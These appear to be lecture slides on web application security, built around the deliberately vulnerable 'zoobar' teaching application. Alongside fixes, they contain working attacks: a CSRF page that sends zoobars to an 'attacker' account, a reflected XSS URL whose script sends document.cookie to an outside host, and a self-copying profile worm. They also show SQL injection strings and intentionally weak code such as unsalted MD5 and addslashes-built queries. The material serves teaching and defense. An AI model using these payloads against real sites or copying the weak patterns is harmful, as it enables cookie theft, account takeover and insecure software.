Victor Costan
1. HTTP
2. Cookies
3. Content
4. Same-Origin Policy
HTTP 1.0
POST /zoobar/login.php HTTP/1.0 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100415 Ubuntu/10.04 (lucid) Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 59 login_username=boom&login_password=boom&submit_login=Log+in
HTTP 1.1
Keep-AlivePOST /zoobar/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100415 Ubuntu/10.04 (lucid) Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://localhost/zoobar/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 59 login_username=boom&login_password=boom&submit_login=Log+in
HTTP/1.1 200 OK Date: Wed, 21 Apr 2010 10:26:09 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4 Cache-Control: private Set-Cookie: ZoobarLogin=boom; expires=Sat, 16-Apr-2011 10:26:09 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 546 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html <!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="zoobar.css"> <title>Login - Zoobar Foundation</title> </head> <body> <!-- truncated --> </body> </html>
Concepts
Protocol
<!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="zoobar.css"> </head> <body> <a href="/index.php?action=logout">Log out boom</a> <form method="POST" action="/zoobar/transfer.php"> <p>Send <input name="zoobars"> zoobars</p> <p>to <input name="recipient"></p> <input type=submit name=submission value="Send"> </form> <script type="text/javascript" src="zoobars.js.php"></script> </body> </html>
Application vulnerabilities can be detected by examining your application’s code, without any regard to the other pieces of software that it interacts with.
http://bit.ly/h5kVdb
type="password" for passwords, SSNs, etc<form action="/login.php" method="GET"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
<form action="/login.php" method="GET"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
GET in login forms<form action="/login.php" method="POST"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
<form action="/login.php" method="POST"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
Plaintext passwords in database
Hashed but unsalted passwords
$salt = substr(md5(rand()), 0, 4);
$hashedpassword = md5($password.$salt);
$sql = "INSERT INTO Users (Username, Password, Salt) " .
"VALUES ('" . addslashes($username) . "', " .
"'$hashedpassword', '$salt')";
$db->executeQuery($sql);
$sql = "SELECT Salt FROM Users WHERE Username = '" .
addslashes($username) . "'";
$rs = $db->executeQuery($sql);
$salt = $rs->getValueByNr(0,0);
$hashedpassword = md5($password.$salt);
$sql = "SELECT * FROM Users WHERE " .
"Username = '" . addslashes($username) . "' AND " .
"Password = '$hashedpassword'";
Processing SessionsController#create to json (for 96.39.52.46 at 2010-01-06 01:03:52) [POST]
Parameters: {"name"=>"365c1e0d07b783297355e30022ea901d1dff96333b34929eb3650632bea73304", "device"=>{"hardware_model"=>"iPod2,1", "unique_id"=>"8186676124d4e588024ea29426f29d8aabb00858", "app_provisioning"=>"H", "app_version"=>"1.9", "app_id"=>"us.costan.StockPlay", "user_id"=>"0", "os_name"=>"iPhone OS", "os_version"=>"3.0", "model_id"=>"0", "app_push_token"=>"316e42e781d7cfb6f3de7ff2bab48e654c2d81da53d263476f8c66ca3253fc91"}, "format"=>"json", "action"=>"create", "controller"=>"sessions", "app_sig"=>"8f724fbfaf34772032412c5b638df009314c88bc6e6f245796cceb9c6db499f3", "password"=>"[FILTERED]"}
Completed in 45ms (View: 1, DB: 28) | 200 OK [http://istockplay.com/sessions.json][FILTERTED]. Are you flitering your logs?Painfully obvious URLs.
/show_message.php?id=5, let’s try /show_message.php?id=6/users/1 and /users/1/edit, let’s try /users/1/delete (REST URLs)/admin.php, /info.php, /status.php, /root.php“Secret” URLs.
Autentication
Authorization
GET only for idempotent requests. GET authorizes proxies to cache pages and leads to accidental refreshes.Your total is $530.
<p>Your total is $530.</p> <form action="/checkout.php" method="POST"> Credit card number: <input type="text" name="cc_no" /> <input type="submit" value="Place Order" /> <input type="hidden" name="products" value="225,5331,7794" /> <input type="hidden" name="price" value="530" /> </form>
$result = $this->db->executeQuery($sql);
if ( $result->next() ) {
$this->username = $username;
setcookie($this->cookieName, $this->username, time() + 31104000);
return true;
if ( isset($_COOKIE[$this->cookieName]) ) {
$username = $_COOKIE[$this->cookieName];
$sql = "SELECT * FROM Person WHERE " .
"(Username = '" . addslashes($username) . "') ";
$rs = $this->db->executeQuery($sql);
if ( $rs->next() ) {
$token = md5($result->getCurrentValueByName("Password").mt_rand());
$sql = "UPDATE Users SET Token = '$token' " .
"WHERE Username='" . addslashes($username) . "'";
$db->executeQuery($sql);
$arr = array($username, $token);
$cookieData = base64_encode(serialize($arr));
setcookie($this->cookieName, $cookieData, time() + 31104000);
if ( isset($_COOKIE[$this->cookieName]) ) {
$arr = unserialize(base64_decode($_COOKIE[$this->cookieName]));
list($username, $token) = $arr;
if (!$username or !$token) {
return;
}
return $this->_checkToken($username, $token);
}
$sql = "SELECT * FROM Users WHERE " .
"(Username = '" . addslashes($username) . "') " .
"AND (Token = '" . addslashes($token) . "')";
$rs = $db->executeQuery($sql);
if ( $rs->next() ) {
Use signed cookies.
# Basic idea.
set_cookie($cookie_name, hash_hmac("sha256", $value, $secret) . $value, time() + 31104000);What’s wrong here?
$zoobars = (int) $_POST['zoobars'];
$sql = "SELECT Zoobars FROM Person WHERE Username='" .
addslashes($user->username) . "'";
$rs = $db->executeQuery($sql);
$sender_balance = $rs->getValueByNr(0,0) - $zoobars;
$sql = "SELECT Username, Zoobars FROM Person WHERE Username='" .
addslashes($recipient) . "'";
$rs = $db->executeQuery($sql);
$recipient_exists = $rs->getValueByNr(0,0);
$recipient_balance = $rs->getValueByNr(0,1) + $zoobars;
if($sender_balance >= 0 && $recipient_balance >= 0 && $recipient_exists) {
$sql = "UPDATE Person SET Zoobars = $sender_balance " .
"WHERE Username='" . addslashes($user->username) . "'";
Fix:
Integration vulnerabilities are not obvious from the application’s logic. They happen when complex systems interact in unexpected ways.
Solution
$username = $_POST['login_username'];
$sql = "SELECT * FROM Person WHERE (Username = '$username') ";
$rs = $db->executeQuery($sql);The code above leads to pwnage.
' and " escape out of the string; separates instructions, -- comments out the rest of the lineOR 1=1 kills WHERE clauses, DROP ALL TABLES kills your database', call addslashes $sql = "SELECT Username FROM Users WHERE Username='" .
addslashes($username) . "'";

scripts.mit.edu make sure your AFS permissions are set correctly. Ask a friend to try to cd into your locker.| Serverity | Problem | Workaround |
| low | database credentials in source | use firewall to prevent external connections |
| medium | other credentials (e.g. Facebook API key) | ask partners to restrict API access to your IPs |
| high | your source code is embarrassing | fix the damn file permissions |
Problem
Threat Model
Firewalls sites, so site A cannot interfere with site B
XmlHttpRequest to BFirewalls sites, so site A cannot interfere with site B
XmlHttpRequest to B unless
DOM elements can access data from any URL.
| Tool | Motivation | Attack |
<img> |
CDNs (Content Distribution Networks) | Issue arbitrary GET requests. |
<form> |
CDNs, Mash-ups (e.g. payment forms) | Issue arbitrary requests. |
<script> |
CDNs, Mash-ups (e.g. Google Map widget) | Mash-up provider injects arbitrary code. |
| JSONP | Data from another server. | Data without user’s consent. |
bit.ly URLsGET requests are vulnerable to CSRF<form method=POST name=transferform action="<?php echo $_SERVER['PHP_SELF']?>"> <p>Send <input name=zoobars type=text value="<?php echo $_POST['zoobars']; ?>" size=5> zoobars</p> <p>to <input name=recipient type=text value="<?php echo $_POST['recipient']; ?>" size=10></p> <input type=submit name=submission value="Send"> </form>
| Form action | /transfer.php |
| Form method | POST |
zoobars |
number |
recipient |
user name |
submission |
Send |
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/zoobar/transfer.php" id="post_form"
method="post" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="recipient" value="attacker" />
<input type="hidden" name="zoobars" value="10" />
<input type="hidden" name="submission" value="Send" />
</form>
<iframe id="form_target" name="form_target" style="visibility: hidden;">
</iframe>
<script type="text/javascript" src="csrf.js"></script>
</body>
</html>var frame = document.getElementById('form_target');
var form = document.getElementById('post_form');
form.target = frame.name;
frame.addEventListener('load', function() {
window.location = "http://pdos.csail.mit.edu/6.893/2009/";
}, false);
form.submit();
Bonus: Stealth Attack
<iframe>GET request (with side-effects).function check_csrf_token() {
global $csrf_token;
if ($_POST['_csrf_token'] != $csrf_token) {
die();
}
}
function csrf_form_field() {
global $csrf_token;
echo '<input type="hidden" name="_csrf_token" value="' . $csrf_token . '" />';
}
if (empty($_COOKIE['csrf_base']) || !isset($_COOKIE['csrf_base'])) {
$csrf_base = sha1("csrf" . mt_rand() . "_" . getmypid() . "_" .
microtime(true));
setcookie('csrf_base', $csrf_base);
}
else {
$csrf_base = $_COOKIE['csrf_base'];
}
$csrf_token = sha1($_COOKIE['csrf_base'] .
"hduM3POw/NCTmMfy7vKZxdDjupKnuK6r9");
", HTML tags, javascript: links, etc.alert() proves that you can run JavaScript, has very few moving parts.alert(), you can use standard payloads and tools to finish the attack.http://localhost/zoobar/users.php?user="><script type="text/javascript">alert('Boom');</script><div style="display:none;" xx="def session_exploit_js
url = 'http://pdos.csail.mit.edu/6.893/2009/labs/lab3/sendmail.php'
addr = 'costan@mit.edu'
"(new Image()).src='#{url}?to=#{addr}&payload='" +
"+encodeURIComponent(document.cookie)" +
"+'&random='+Math.random();"
end
http://localhost/zoobar/users.php?user=%22+size%3D%2210%22%3E%3Cstyle+type%3D%22text%2Fcss%22%3E.warning%7Bdisplay%3Anone%3B%7D%3C%2Fstyle%3E%3Cscript+type%3D%22text%2Fjavascript%22%3E%3C%21--%0A%28new+Image%28%29%29.src%3D%27http%3A%2F%2Fpdos.csail.mit.edu%2F6.893%2F2009%2Flabs%2Flab3%2Fsendmail.php%3Fto%3Dcostan%40mit.edu%26payload%3D%27%2BencodeURIComponent%28document.cookie%29%2B%27%26random%3D%27%2BMath.random%28%29%3B%0A%2F%2F+--%3E%3C%2Fscript%3E%3Cdiv+style%3D%22display%3Anone%3B%22+xx%3D%22
Serve user content from another domain
Escape strings originating from the user
javascript: URLs (check against /^https?\:/)htmlentities() to htmlspecialchars()ENT_COMPAT and ENT_QUOTES<nobr>User: <input type="text" name="user" value="<?php echo htmlentities($_GET['user']); ?>" size=10></nobr><br>
<script> tag. var myZoobars = <?php
$sql = "SELECT Zoobars FROM Person WHERE Username='" .
addslashes($user->username) . "'";
$rs = $db->executeQuery($sql);
$balance = $rs->getValueByNr(0,0);
echo $balance > 0 ? $balance : 0;
?>;
var div = document.getElementById("myZoobars");
if (div != null) {
div.innerHTML = myZoobars;
<script> tag to obtain the data.<div id="myZoobars">Nope</div>
<script type="text/javascript"
src="http://localhost/zoobar/zoobars.js.php">
</script>
<script type="text/javascript">
if (document.getElementById('myZoobars').innerHTML == 'Nope') {
$allowed_tags =
'<a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' .
'<tr><td><th><u><ul><em><span>';
$profile = strip_tags($profile, $allowed_tags);
$disallowed =
'javascript:|window|eval|setTimeout|setInterval|target|'.
'onAbort|onBlur|onChange|onClick|onDblClick|'.
'onDragDrop|onError|onFocus|onKeyDown|onKeyPress|'.
'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'.
'onMouseOver|onMouseUp|onMove|onReset|onResize|'.
'onSelect|onSubmit|onUnload';
$profile = preg_replace("/$disallowed/i", " ", $profile);
echo "<p id=profile>$profile</p></div>";
var total = eval(document.getElementById('zoobars').className);
<span id="zoobars" class="var d = document; var js = d.getElementById('javascript').innerHTML; var tag = d.createElement('script'); tag.setAttribute('type', 'text/javascript'); tag.innerHTML = js; d.body.appendChild(tag);">
Headshot!
</span>
<span style="display: none;" id="javascript">
var formEncode = function(args) {
var output = '';
for (var name in args) {
if (output != '') { output += String.fromCharCode(38) }
output += encodeURIComponent(name) + '=' + encodeURIComponent(args[name]);
}
return output;
}
var pay=new XMLHttpRequest();
pay.open('POST', '/transfer.php');
pay.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
pay.send(formEncode({recipient: 'attacker', zoobars: 1, submission: 'Send'}));
var profile = document.getElementById('zoobars').parentNode.innerHTML;
var copy=new XMLHttpRequest();
copy.open('POST', '/index.php');
copy.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
copy.send(formEncode({profile_update: profile, profile_submit: 'Save'}));
</span>Use eval() very very sparingly.
eval() should not be a shortcut for parsing code.parseInt(), parseFloat()JSON.parse() var total = parseInt(document.getElementById('zoobars').className);
This is for real: the previous attack was inspired from MySpace 2005 profile worm.
Famous 2009 Vulnerabilities
Fixes
Update all stack components that you own ASAP.
Maintaining your own server?
sudo apt-get update; sudo apt-get dist-upgrade)Victor Costan
Slides and Code
Demo
code/zoobar_attackscode/zoobar at http://localhost/zoobar